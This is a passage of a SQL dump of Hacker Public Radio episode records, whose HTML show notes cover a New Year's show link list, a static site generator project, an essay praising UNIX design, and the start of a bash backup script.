href=\"https://en.wikipedia.org/wiki/Heinz_57\" class=\"uri\">https://en.wikipedia.org/wiki/Heinz_57</a></p>\r\n<p>Winnie The Pooh</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Winnie_the_Pooh\" class=\"uri\">https://disney.fandom.com/wiki/Winnie_the_Pooh</a></p>\r\n<p><a href=\"https://www.smithsonianmag.com/arts-culture/winnie-pooh-became-household-bear-180967090/\" class=\"uri\">https://www.smithsonianmag.com/arts-culture/winnie-pooh-became-household-bear-180967090/</a></p>\r\n<p><a href=\"https://www.yahoo.com/lifestyle/upcoming-film-winnie-pooh-blood-140045130.html\" class=\"uri\">https://www.yahoo.com/lifestyle/upcoming-film-winnie-pooh-blood-140045130.html</a></p>\r\n<p>Furries</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Furry_fandom\" class=\"uri\">https://en.wikipedia.org/wiki/Furry_fandom</a></p>\r\n<p>Teen Wolf</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0090142/\" class=\"uri\">https://www.imdb.com/title/tt0090142/</a></p>\r\n<p>The Goonies</p>\r\n<p><a href=\"https://goonies.fandom.com/wiki/The_Goonies_(film)\" class=\"uri\">https://goonies.fandom.com/wiki/The_Goonies_(film)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0089218/\" class=\"uri\">https://www.imdb.com/title/tt0089218/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Goonies\" class=\"uri\">https://en.wikipedia.org/wiki/The_Goonies</a></p>\r\n<p>Magic The Gathering - Innistrad</p>\r\n<p><a href=\"https://mtg.fandom.com/wiki/Innistrad_(plane)\" class=\"uri\">https://mtg.fandom.com/wiki/Innistrad_(plane)</a></p>\r\n<p>Galaxy S6 Phone</p>\r\n<p><a href=\"https://www.gsmarena.com/samsung_galaxy_s6-6849.php\" class=\"uri\">https://www.gsmarena.com/samsung_galaxy_s6-6849.php</a></p>\r\n<p>Lineage OS</p>\r\n<p><a href=\"https://lineageos.org/\" class=\"uri\">https://lineageos.org/</a></p>\r\n<p>Ubports</p>\r\n<p><a href=\"https://ubports.com/\" class=\"uri\">https://ubports.com/</a></p>\r\n<p>Tony is enjoying his Juno Linux PC - Brutus 5000</p>\r\n<p><a href=\"https://junocomputers.com/product/brutus-5000-v2/\" class=\"uri\">https://junocomputers.com/product/brutus-5000-v2/</a></p>\r\n<p>Boxes (Linux Virtual Machine application)</p>\r\n<p><a href=\"https://help.gnome.org/users/gnome-boxes/stable/\" class=\"uri\">https://help.gnome.org/users/gnome-boxes/stable/</a></p>\r\n<p>Haskell</p>\r\n<p><a href=\"https://www.haskell.org/\" class=\"uri\">https://www.haskell.org/</a></p>\r\n<p>Rooibos Tea</p>\r\n<p><a href=\"https://www.healthline.com/nutrition/rooibos-tea-benefits\" class=\"uri\">https://www.healthline.com/nutrition/rooibos-tea-benefits</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rooibos\" class=\"uri\">https://en.wikipedia.org/wiki/Rooibos</a></p>\r\n<p>IPFS</p>\r\n<p><a href=\"https://ipfs.io/\" class=\"uri\">https://ipfs.io/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/InterPlanetary_File_System\" class=\"uri\">https://en.wikipedia.org/wiki/InterPlanetary_File_System</a></p>\r\n<p><a href=\"https://medium.com/@ConsenSys/an-introduction-to-ipfs-9bba4860abd0\" class=\"uri\">https://medium.com/@ConsenSys/an-introduction-to-ipfs-9bba4860abd0</a></p>\r\n<p>Arc Wedling</p>\r\n<p><a href=\"https://www.twi-global.com/technical-knowledge/faqs/what-is-arc-welding\" class=\"uri\">https://www.twi-global.com/technical-knowledge/faqs/what-is-arc-welding</a></p>\r\n<p><a href=\"https://weldguru.com/what-is-arc-welding/\" class=\"uri\">https://weldguru.com/what-is-arc-welding/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Arc_welding\" class=\"uri\">https://en.wikipedia.org/wiki/Arc_welding</a></p>\r\n<p>6011 Stick Welding Rods</p>\r\n<p><a href=\"https://weldingtroop.com/what-is-6011-welding-rod-used-for/\" class=\"uri\">https://weldingtroop.com/what-is-6011-welding-rod-used-for/</a></p>\r\n<p>Zinc</p>\r\n<p><a href=\"https://www.rsc.org/periodic-table/element/30/zinc\" class=\"uri\">https://www.rsc.org/periodic-table/element/30/zinc</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Zinc\" class=\"uri\">https://en.wikipedia.org/wiki/Zinc</a></p>\r\n<p>Zamak</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Zamak\" class=\"uri\">https://en.wikipedia.org/wiki/Zamak</a></p>\r\n<p><a href=\"https://decoprod.com/design-support/zamak/\" class=\"uri\">https://decoprod.com/design-support/zamak/</a></p>\r\n<p>Biodiesel</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Biodiesel\" class=\"uri\">https://en.wikipedia.org/wiki/Biodiesel</a></p>\r\n<p><a href=\"https://www.biodiesel.org/\" class=\"uri\">https://www.biodiesel.org/</a></p>\r\n<p>Boats with Underwater Wing (Hydrofoils?)</p>\r\n<p><a href=\"http://www.hydrofoil.org/history.html\" class=\"uri\">http://www.hydrofoil.org/history.html</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Hydrofoil\" class=\"uri\">https://en.wikipedia.org/wiki/Hydrofoil</a></p>\r\n<p><a href=\"https://web.mit.edu/2.972/www/reports/hydrofoil/hydrofoil.html\" class=\"uri\">https://web.mit.edu/2.972/www/reports/hydrofoil/hydrofoil.html</a></p>\r\n<p>Cardano</p>\r\n<p><a href=\"https://cardano.org/\" class=\"uri\">https://cardano.org/</a></p>\r\n<p>Plutus Tutorial</p>\r\n<p><a href=\"https://plutus.readthedocs.io/en/latest/tutorials/\" class=\"uri\">https://plutus.readthedocs.io/en/latest/tutorials/</a></p>\r\n<p>Racket</p>\r\n<p><a href=\"https://racket-lang.org/\" class=\"uri\">https://racket-lang.org/</a></p>\r\n<p>Plutus Pioneer Program</p>\r\n<p><a href=\"https://testnets.cardano.org/en/plutus-pioneer-program/\" class=\"uri\">https://testnets.cardano.org/en/plutus-pioneer-program/</a></p>\r\n<p>NixOS</p>\r\n<p><a href=\"https://nixos.org/\" class=\"uri\">https://nixos.org/</a></p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=nixos\" class=\"uri\">https://distrowatch.com/table.php?distribution=nixos</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/NixOS\" class=\"uri\">https://en.wikipedia.org/wiki/NixOS</a></p>\r\n<p>Scheme</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Scheme_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/Scheme_(programming_language)</a></p>\r\n<p>Lisp</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Lisp_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/Lisp_(programming_language)</a></p>\r\n<p><a href=\"https://www.tutorialspoint.com/lisp/index.htm\" class=\"uri\">https://www.tutorialspoint.com/lisp/index.htm</a></p>\r\n<p>Functional Programming</p>\r\n<p><a href=\"https://www.geeksforgeeks.org/functional-programming-paradigm/\" class=\"uri\">https://www.geeksforgeeks.org/functional-programming-paradigm/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Functional_programming\" class=\"uri\">https://en.wikipedia.org/wiki/Functional_programming</a></p>\r\n<p>Clojure</p>\r\n<p><a href=\"https://clojure.org/\" class=\"uri\">https://clojure.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Clojure\" class=\"uri\">https://en.wikipedia.org/wiki/Clojure</a></p>\r\n<p><a href=\"https://clojuredocs.org/\" class=\"uri\">https://clojuredocs.org/</a></p>\r\n<p>Solaris</p>\r\n<p><a href=\"https://www.oracle.com/solaris/solaris11/\" class=\"uri\">https://www.oracle.com/solaris/solaris11/</a></p>\r\n<p>VIM</p>\r\n<p><a href=\"https://www.vim.org/\" class=\"uri\">https://www.vim.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Vim_(text_editor)\" class=\"uri\">https://en.wikipedia.org/wiki/Vim_(text_editor)</a></p>\r\n<p>CentOS</p>\r\n<p><a href=\"https://www.centos.org/\" class=\"uri\">https://www.centos.org/</a></p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=centos\" class=\"uri\">https://distrowatch.com/table.php?distribution=centos</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/CentOS\" class=\"uri\">https://en.wikipedia.org/wiki/CentOS</a></p>\r\n<h4 id=\"t090000z\">2022-01-01T09:00:00Z</h4>\r\n<p>AKST Alaska/USA and regions of French Polynesia Anchorage, Fairbanks, Juneau, Unalaska</p>\r\n<p>HST Small region of USA and 2 more Honolulu, Rarotonga, Adak, Papeete</p>\r\n<p><a href=\"https://www.worldtimezone.com/newyear.html\" class=\"uri\">https://www.worldtimezone.com/newyear.html</a></p>\r\n<p>Solstice</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Solstice\" class=\"uri\">https://en.wikipedia.org/wiki/Solstice</a></p>\r\n<p><a href=\"https://www.irishamericanmom.com/newgrange-irelands-megalithic-wonder-of-the-winter-solstice/\" class=\"uri\">https://www.irishamericanmom.com/newgrange-irelands-megalithic-wonder-of-the-winter-solstice/</a></p>\r\n<p><a href=\"https://www.newgrange.com/\" class=\"uri\">https://www.newgrange.com/</a></p>\r\n<p>TIVO</p>\r\n<p><a href=\"https://www.tivo.com/custom/product-bolt\" class=\"uri\">https://www.tivo.com/custom/product-bolt</a></p>\r\n<p>Yagi Antenna</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Yagi%E2%80%93Uda_antenna\" class=\"uri\">https://en.wikipedia.org/wiki/Yagi%E2%80%93Uda_antenna</a></p>\r\n<p><a href=\"https://www.eeweb.com/lets-build-the-yagi-antenna/\" class=\"uri\">https://www.eeweb.com/lets-build-the-yagi-antenna/</a></p>\r\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3687,'2022-09-20','2021-2022 New Years Show Part 6',11137,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-6\">Part 6</h3>\n<p><a href=\"https://rsgb.org/main/clubs-training/for-students/foundation/\" class=\"uri\">https://rsgb.org/main/clubs-training/for-students/foundation/</a></p>\n<p><a href=\"https://logseq.com/\" class=\"uri\">https://logseq.com/</a></p>\n<p><strong>The End!</strong></p>\n<ul>\n<li>Thanks To:\n<ul>\n<li>Mumble Server: Delwin</li>\n<li>HPR Site/VPS: Joshua Knapp - AnHonestHost.com</li>\n<li>Streams: Honkeymagoo</li>\n<li>EtherPad: HonkeyMagoo</li>\n<li>Shownotes: HPLovecraft</li>\n</ul></li>\n</ul>\n<h3 id=\"aftershow\">Aftershow</h3>\n<p>Swedish new words of 2021: <a href=\"https://www.svt.se/kultur/experten-de-orden-kommer-jag-sakna-mest\" class=\"uri\">https://www.svt.se/kultur/experten-de-orden-kommer-jag-sakna-mest</a> (Swedish)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Endometriosis\" class=\"uri\">https://en.wikipedia.org/wiki/Endometriosis</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Vulvar_vestibulitis\" class=\"uri\">https://en.wikipedia.org/wiki/Vulvar_vestibulitis</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (3659,'2022-08-11','Developing an HPR static site generator',673,'Rho`n describes his approach to developing a static site generator for HPR','<h1 id=\"synopsis\">Synopsis</h1>\n<p>In this episode, I describe my ongoing attempt to develop a static site generator for the HPR website. As a search through the community mailing list will reveal, the idea for moving the HPR website has been rattling around for a few years. I have been interested in helping out with the website for a while, so when the latest round of discussion occurred I decided to give it a whirl.</p>\n<p>While I have read about various static site generators over the years, the only one I had any experience with was Template-Toolkit (TT2) when helping Ken Fallon and Dave Morriss develop the Free Culture Podcasts webpage. It is the tool Dave uses for various projects. Since they are the janitors for HPR, I figured a website generator based on the TT2 would be something relatively painless enough for them to use, and update when needed.</p>\n<p>The code for this generator is hosted at <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">https://repo.anhonesthost.net/rho_n/hpr_generator</a>. The generator is written in Perl and generates the pages using TT2 templates.</p>\n<p>Anyone interested in helping out is encouraged to create an account on repo.anhonesthost.net and start hacking away.</p>\n<h1 id=\"references\">References</h1>\n<ul>\n<li><p><a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">site-generator source code</a>; <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">https://repo.anhonesthost.net/rho_n/hpr_generator</a></p></li>\n<li><p><a href=\"http://template-toolkit.org/\">Template Tookit website</a>; <a href=\"http://template-toolkit.org/\">http://template-toolkit.org/</a></p></li>\n<li><p><a href=\"https://www.cpan.org/\">Comprehensive Perl Archive Network (CPAN) website</a>; <a href=\"https://www.cpan.org/\">https://www.cpan.org/</a></p></li>\n<li><p><a href=\"https://repo.anhonesthost.net/explore/repos\">HPR repositories at anHonestHost.net</a>; <a href=\"https://repo.anhonesthost.net/explore/repos\">https://repo.anhonesthost.net/explore/repos</a></p></li>\n<li><p><a href=\"https://hpr.horning.us/\">Rho`n\'s public test HPR website</a>; <a href=\"https://hpr.horning.us\">https://hpr.horning.us</a></p></li>\n<li><p><a href=\"https://freeculturepodcasts.org/\">Free Culture Podcasts</a>; <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></p></li>\n<li><p><a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html\">HPR Mailing list: Static Site Generators - NOT a flat file CMS</a>; message thread; <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html</a></p></li>\n<li><p><a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html\">HPR Mailing list: Source Code for the HPR website.</a>; message thread; <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html</a></p></li>\n<li><p><a href=\"https://github.com/dumblob/mysql2sqlite\">MySQL to SQLite conversion script</a>; <a href=\"https://github.com/dumblob/mysql2sqlite\">https://github.com/dumblob/mysql2sqlite</a></p></li>\n</ul>\n',293,0,0,'CC-BY-SA','HPR, static site generator, Perl, SQLite, Template Toolkit',0,0,1),
(3665,'2022-08-19','UNIX Is Sublime',3586,'I talk about all of the reasons I love UNIX','<h1 id=\"unix-is-sublime\">UNIX is sublime</h1>\n<h6 id=\"or-how-to-use-a-computer-without-hating-yourself-for-it-in-the-morning\">Or, \"how to use a computer without hating yourself for it in the morning\"</h6>\n<h6 id=\"or-unix-is-basically-a-simple-operating-system---\">Or, \"Unix is basically a simple operating system . . .\"</h6>\n<h6 id=\"or-my-weariness-and-disdain-for-computers-grow-with-each-additional-unit-of-knowledge\">Or, \"My weariness and disdain for computers grow with each additional unit of knowledge\"</h6>\n<h6 id=\"or-worse-is-better\">Or, \"Worse is better\"</h6>\n<h1 id=\"origins\">Origins</h1>\n<p>UNIX is not Multics</p>\n<p>Multics = Multiplexed Information and Computer Service</p>\n<p>UNIX = Uniplexed Information and Computing Service</p>\n<p>The name \'UNIX\' is a pun on the name \'Multics\'. Multics was entirely too large and complicated to be useful so the boys at Bell Labs cooked up something smaller, less complicated, and easier to use.</p>\n<hr />\n<h3 id=\"ancient-emulation-interlude\">Ancient emulation interlude</h3>\n<p><a href=\"https://www.multicians.org/sim-inst.html\">How to run Multics in 2022.</a></p>\n<p><a href=\"https://gunkies.org/wiki/Running_Unix_v5_in_SIMH\">This wiki helped me emulate UNIXv5.</a></p>\n<p><a href=\"https://gunkies.org/wiki/Installing_v7_on_SIMH\">And this one helped me emulate UNIXv7.</a></p>\n<p><a href=\"https://livingcomputers.org/Computer-Collection/Online-Systems.aspx\">These guys host ancient systems accessible via guest accounts over ssh.</a></p>\n<blockquote>\n<p>\"Cool, but useless.\"</p>\n</blockquote>\n<hr />\n<p>I know almost nothing about Multics and I\'m not sure if it\'s even worth learning. This is about UNIX, not Multics. Maybe I\'ll come back to it.</p>\n<h1 id=\"philosophy-implementations-ducks\">Philosophy, implementations, ducks</h1>\n<p>When I think of \"UNIX\", I do not think of the trademark. Instead, I think of the <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\">Unix philosophy.</a> and the general design principles, interface, and behavior of a UNIX system.</p>\n<p>A better way of thinking about \"UNIX\" is as something \"POSIX-like\" rather than \"AT&amp;T\'s commercial UNIX\". Example: although Linux and GNU are overly complicated, they pass the duck test for being a UNIX. Pedigree or not, you know a nix when you see one.</p>\n<p>Also, when I say \"UNIX\", I mean \"Free UNIX\". I have no interest in proprietary implementations that only exist for the purpose of restricting users and disempowering/discouraging sysadmins from becoming self-reliant.</p>\n<p>So what is the philosophy?</p>\n<ul>\n<li>Do one thing and do it well</li>\n<li>Design programs that work together using text as the common interface</li>\n<li>KISS: Keep it simple, stupid</li>\n<li>Test early, test often</li>\n</ul>\n<p>And additionally:</p>\n<ul>\n<li>everything is a file or a process</li>\n</ul>\n<h1 id=\"design\">Design</h1>\n<h2 id=\"10000-ft-view\">10,000 Ft View</h2>\n<p>UNIX is a multiuser time sharing networked operating system, running as an always online service. A UNIX system is a single mainframe computer running an operating system designed for multiple users to access concurrently over the network, equally (depending on implementation) sharing resources amongst the active users.</p>\n<p>In a traditional network setup, there is one mainframe UNIX machine with multiple dumb terminals connected to it over the network. None of the users touch the mainframe physically. Instead, they interact with it exclusively through their own dumb terms. These dumb terminals have minimal or no computing power of their own because all of the actual computation takes place on the mainframe. Built in networking is a given.</p>\n<p>As for the actual software running on the mainframe, it\'s quite simple to visualize. A Unix system is a flexible but organized stack of concepts, each depending on the concept below, all working together for the sole purpose of enabling the end user to play video games and watch videos online.</p>\n<pre><code>       / user applications \\\n      /       shells        \\\n     /        daemons        \\\n    /       file systems      \\\n   /        kmods/drivers      \\\n  /           syscalls          \\\n /             kernel            \\\n/             hardware            \\\n</code></pre>\n<p>In order to fully explain why UNIX is sublime, I will start from the bottom and work my way upward. Before I discuss the shell, I will explain the multiuser aspects of the system. Then, after a long arduous journey of verbosity, explain how to actually use the thing.</p>\n<h2 id=\"kernel\">Kernel</h2>\n<p>The kernel is something the user rarely interacts with. It abstracts all the hard parts away from the user. No more poking random memory addresses to load a program from tape.</p>\n<h3 id=\"multitasking\">Multitasking</h3>\n<p>In order to support multiple users, resource sharing was implemented. When a user\'s process requests CPU time, it\'s put into a rotational queue along with the other requests for CPU time. Round robin style concurrency is one of the easiest to implement but most modern systems use a weighted model that prioritizes processes owned by specific users. Memory and disk space are typically assigned hard limits to prevent system crashes. \"Ask your sysadmin if you need more resources.\"</p>\n<h3 id=\"virtual-memory\">Virtual Memory</h3>\n<p>Abstracting memory management from users is almost necessary in a multitasking system. The kernel must be the arbiter of all. The most interesting thing about virtual memory is that it doesn\'t actually need to be a RAM stick, but can be a swap partition on a disk or even a remote cloud provider if you\'ve actually lost your mind. This type of flexibility improves system stability. Instead of a kernel panic when memory runs out, the kernel can de-prioritize nonessential or idle processes by sending them to swap space.</p>\n<h3 id=\"paged-memory-logical-memory\">Paged Memory (logical memory)</h3>\n<p>No more fragmented memories! The kernel maintains a page table that maps logical locations to physical locations. Instead one continuous chunk of memory, the kernel divides memory into small sections called \"pages\". When allocating memory, the kernel might not give a process continuous pages. The advantage of a paged memory scheme further enables multiuser computing. Example: When you have a large program like a web browser open, the pages that contains the unfocused tabs can be swapped out to disk without stalling the entire browser.</p>\n<h3 id=\"programming-interface-pt-0-syscalls-kmods-drivers\">Programming Interface pt. 0 (syscalls, kmods, drivers)</h3>\n<p>When a process requests a resource, it sends a syscall to the kernel. The kernel then responds to the system call. This allows for privilege separation. Does your web browser need direct access to all memory? What about all files? Do we even want to write assembly every time we want to access a file? Syscalls are dual purpose: abstraction and security.</p>\n<p>Kernel modules are dynamic \"extensions\" that give the kernel new features (typically hardware support). The ability to dynamically load/unload modules as hardware changes increases uptime because it means a new kernel doesn\'t need to be compiled, installed, and booted into every time we plug in a different peripheral.</p>\n<h2 id=\"filesystem\">Filesystem</h2>\n<h3 id=\"hierarchical-structure\">Hierarchical structure</h3>\n<p>A UNIX filesystem is hierarchical. Each directory contains files or other directories, each with a specific purpose. This type of organization makes it very easy to navigate and manage a system. Each child directory inherits ownership and permissions unless otherwise specified (see Access Control).</p>\n<p>In order to visualize this, I imagine a tree-like structure descending from the root directory, <code>/</code>. The <code>tree(1)</code> program shows this type of hierarchy.</p>\n<h3 id=\"virtual-filesystems-logical-filesystem\">Virtual Filesystems (logical filesystem)</h3>\n<p>The idea behind virtual filesystems is, again, abstraction. Using the concept of a virtual file system, multiple disks can be presented to the user and programmer as a single unified filesystem. This means mounted local disks, NFS shares, and even the contents of a CDROM are presented as if the files contained therein are \"just on the big hard drive\".</p>\n<p>Additionally, using bind mounts, a directory can be mounted onto another directory as if it were just another filesystem.</p>\n<p>The final interesting thing about virtual filesystems is the concept of a ramdisk: mounting a section of memory so that it can be used as if it was an ordinary directory. <strong>&lt;--Shoot foot here.</strong></p>\n<h3 id=\"everything-is-a-file\">Everything is a file</h3>\n<p>Well, almost everything is <em>presented</em> as if it were a file. This greatly simplifies programming.</p>\n<p>Prime example: <code>/dev/urandom</code> is a random entropy generator presented as a file, making it very simple for a programmer to implement seeded RNG in a program.</p>\n<p>Another example: The kernel translates mouse input into a data stream that can be opened as a file. The programmer only needs to read from <code>/dev/mouse0</code> instead of writing hundreds of mouse drivers for a clicky GUI.</p>\n<p>Exercise 1: Try running this command then wiggling your mouse:</p>\n<pre class=\"sh\"><code># Linux\n$ sudo cat /dev/input/mouse0\n\n# FreeBSD\n$ sudo cat /dev/sysmouse\n</code></pre>\n<p>Yet another example: the TTY is just a file. You can even print it to a text file using <code>setterm(1)</code> on Linux.</p>\n<p>Exercise 2:</p>\n<pre class=\"sh\"><code>[user@fedora ~]$ sudo setterm --dump 3\n[user@fedora ~]$ cat screen.dump\n\nFedora Linux 36 (Workstation Edition)\nKernel 5.18.5-200.fc36.x86_64 on an x86_64 (tty3)\n\nfedora login: root\nPassword:\nLast login: Sat Jul 30 14:34:20 on tty3\n[root@fedora ~]# /opt/pfetch/pfetch\n        ,&#39;&#39;&#39;&#39;&#39;.   root@fedora\n       |   ,.  |  os     Fedora Linux 36 (Workstation Edition)\n       |  |  &#39;_&#39;  host   XXXXXXXXXX ThinkPad T490\n  ,....|  |..     kernel 5.18.5-200.fc36.x86_64\n.&#39;  ,_;|   ..&#39;    uptime 20d 22h 40m\n|  |   |  |       pkgs   3910\n|  &#39;,_,&#39;  |       memory 6522M / 15521M\n &#39;.     ,&#39;\n   &#39;&#39;&#39;&#39;&#39;\n\n[root@fedora ~]#\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[user@fedora ~]$\n</code></pre>\n<h3 id=\"links\">Links</h3>\n<p>Yet another way of \"mounting\" a file or directory to another file or directory is linking. There are two types of links: hard links and symbolic links.</p>\n<p>On UNIX, files are indexed by inodes (index nodes). Using links, we can make \"shortcuts\" to files.</p>\n<p>Hard linking adds a \"new index\" to a file. They share an inode. If the original file is removed, the file persists in storage because the secondary file created by a hard link still exists. Think \"different name, same file\"</p>\n<p>Symlinks are like pointers. A symlink points to the original file instead of the inode. If you remove the original file, the symlink breaks because it points to a file that points to an inode rather than simply pointing to an inode.</p>\n<p>Using links, we can make files more convenient to access as if we are \"copying\" files without actually copying files.</p>\n<h3 id=\"filename-extensions\">Filename extensions</h3>\n<p>On a UNIX system, file extensions are arbitrary. UNIX determines file type by reading the file headers. The file tells you exactly what type of file it is (just read it). The entire system does not break when a file extension doesn\'t match the expected contents of the file.</p>\n<p>Extensions only matter when you wilfully associate with the microsoft users leaving issues on your software repos. \"Not my OS, not my issue, it\'s open source so fork it if you don\'t like it\"</p>\n<h2 id=\"multiuser-timesharing\">Multiuser (timesharing)</h2>\n<p>See also: Multitasking.</p>\n<p>Exercise 3: attempt to use Windows like a multiuser operating system and get back to me when you have realized that any and all claims made by microsoft about how their \"multi user enterprise system\" is in any way capable of competing with a genuine multi-user UNIX system are false advertising.</p>\n<h3 id=\"users-groups\">Users, Groups</h3>\n<p>A multiuser system needs a way to manage users and categorize them for access control purposes. Every user has a single user account and belongs to 0 or more groups. Sorting users into groups at the time of account creation makes is significantly easier than granting/revoking permissions user-by-user. Additionally, using something like <code>rctl(8)</code> on FreeBSD allows a systems administrator to allocate resources to specific users, groups, or login classes (like groups).</p>\n<h3 id=\"daemons-services\">Daemons (services)</h3>\n<p>On a UNIX system, every process is owned by a user. In the case of a service, the process is owned by a daemon account. Daemon accounts have limited permissions and make it possible to run persistent services as a non-root user.</p>\n<h3 id=\"access-control\">Access Control</h3>\n<p>Since UNIX was designed to be a multiuser system, access control is required. We know about users, we know about groups, but what about permissions?</p>\n<p>There are three types of operations that can be done to a file: read, write, and execute. Who can the admin grant these permissions to? The Owner, the Group, and the Other (all). This type of access control is called discretionary access control because the owner of the file can modify files <em>at their own discretion</em>.</p>\n<h2 id=\"actually-using-the-thing\">Actually using the thing</h2>\n<h3 id=\"programming-interface-pt-1-data-streams\">Programming interface Pt. 1 (data streams)</h3>\n<p>All UNIX utilities worth using use 3 data streams:</p>\n<ul>\n<li>stdin\n<ul>\n<li>read from it the same way you read from a file</li>\n</ul></li>\n<li>stdout\n<ul>\n<li>print to it the same way you print to a terminal (file)</li>\n</ul></li>\n<li>stderr\n<ul>\n<li>print to it the same way print to a file, read from it the same way you read from a file</li>\n</ul></li>\n<li>env vars if you\'re a CGI programmer</li>\n</ul>\n<h3 id=\"shell\">Shell</h3>\n<p>The shell is how a user actually interacts with a UNIX system. It\'s a familiar interface that allows a human user to interact with a computer using real human language.</p>\n<p>Explicitly telling the computer to do is infinitely less agonizing than dealing with a computer that tries to do what it thinks you want it to do by interpreting input from a poorly designed, overly engineered interface.</p>\n<p>The shell, in addition to being an interactive interface, is also scriptable. Although math is a struggle, shell scripting is a fairly simple way of automating tasks. Taping together interoperable commands you already know makes everything easier. My favorite aspect about writing POSIX shell scripts is knowing that shell is a strongly, statically typed language where the only datatype is string.</p>\n<p>Problem that are difficult or messy to solve in shell usually mean it\'s time to write another small C program for your specific needs. Adding the new program into the shell pipeline is trivial.</p>\n<h4 id=\"pipes\">Pipes</h4>\n<p>Pipes, the concept that makes UNIX so scriptable. A shell utility that follows the UNIX philosophy will have a non-captive interface, write uncluttered data to stdout, read from stdin, and error to stderr. The <code>|</code> pipe character instructs programs to send their stdout to the next stdin in the pipeline instead of printing to the terminal.</p>\n<p>All standard command line utilities are interoperable and can be easily attached like building blocks. \"Meta programming\" has never been easier.</p>\n<p>Pipes make it so that every UNIX program is essentially a filter. Sure, you could just use awk, but I prefer shell.</p>\n<h1 id=\"bonus\">Bonus:</h1>\n<ul>\n<li>plaintext configuration files</li>\n<li>All logs are pretty much just a .csv</li>\n<li>OS vendor doesn\'t force you to upgrade to a newer version of spyware</li>\n<li>modular design means explorer.exe crashes don\'t take down your entire IT infrastructure</li>\n<li>Portable design means write once, run everywhere with minimal effort</li>\n</ul>\n<h1 id=\"summary\">Summary:</h1>\n<p>UNIX is a non-simple modular operating system designed for 1970s big iron mainframes but we love it too much to let it go. Compared to minimal hobbyist operating systems, UNIX is BIG. Compared to commercial operating systems, free UNIX is small. Maybe slightly more than minimum viable but the papercuts are mild enough to forgive.</p>\n<h1 id=\"see-also\">See Also:</h1>\n<p><a href=\"https://web.mit.edu/~simsong/www/ugh.pdf\">The UNIX-HATERS Handbook</a></p>\n',406,0,1,'CC-BY-SA','UNIX',0,0,1),
(3657,'2022-08-09','Small time sysadmin',1568,'How I maintain my Linux Box, Part One.','<ol>\n<li>Creating Backups.</li>\n</ol>\n<ul>\n<li><p>This script was trimmed to serve as an example.</p></li>\n<li><p>The three options shown (email, jop, dots) demonstrates, how to list items with case statements:</p>\n<ul>\n<li>Single item/directory (jop).</li>\n<li>Multiple items in single directory (dots).</li>\n<li>Multiple items in multiple directories (email).</li>\n</ul></li>\n<li><p>The text files created after the archive serves as an item list<br />\nwith current permissions.</p></li>\n<li><p><code>tar --directory= /path/to/directory/ --create --file INSERT_ARCHIVE_NAME.tar /path/to/file;</code></p></li>\n</ul>\n<pre><code>#!/bin/bash\n#License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see &lt;https://www.gnu.org/licenses/&gt;.\n\n#Name: getoverhere.sh\n#Purpose:\n#Version: beta 0.07\n#Author: SGOTI (Some Guy On The Internet)\n#Date: Sat 29 Jan 2022 02:19:29 AM EST\n\n#variables:\nVAR_TBALL=\nVAR_TARGET=\nVAR_JUMP=\nVAR_VALUE=\n\n#start:\ncat &lt;&lt; &quot;EOT01&quot;\nOptions:\n    email |&quot;${HOME}/.thunderbird/&quot;\n    jop 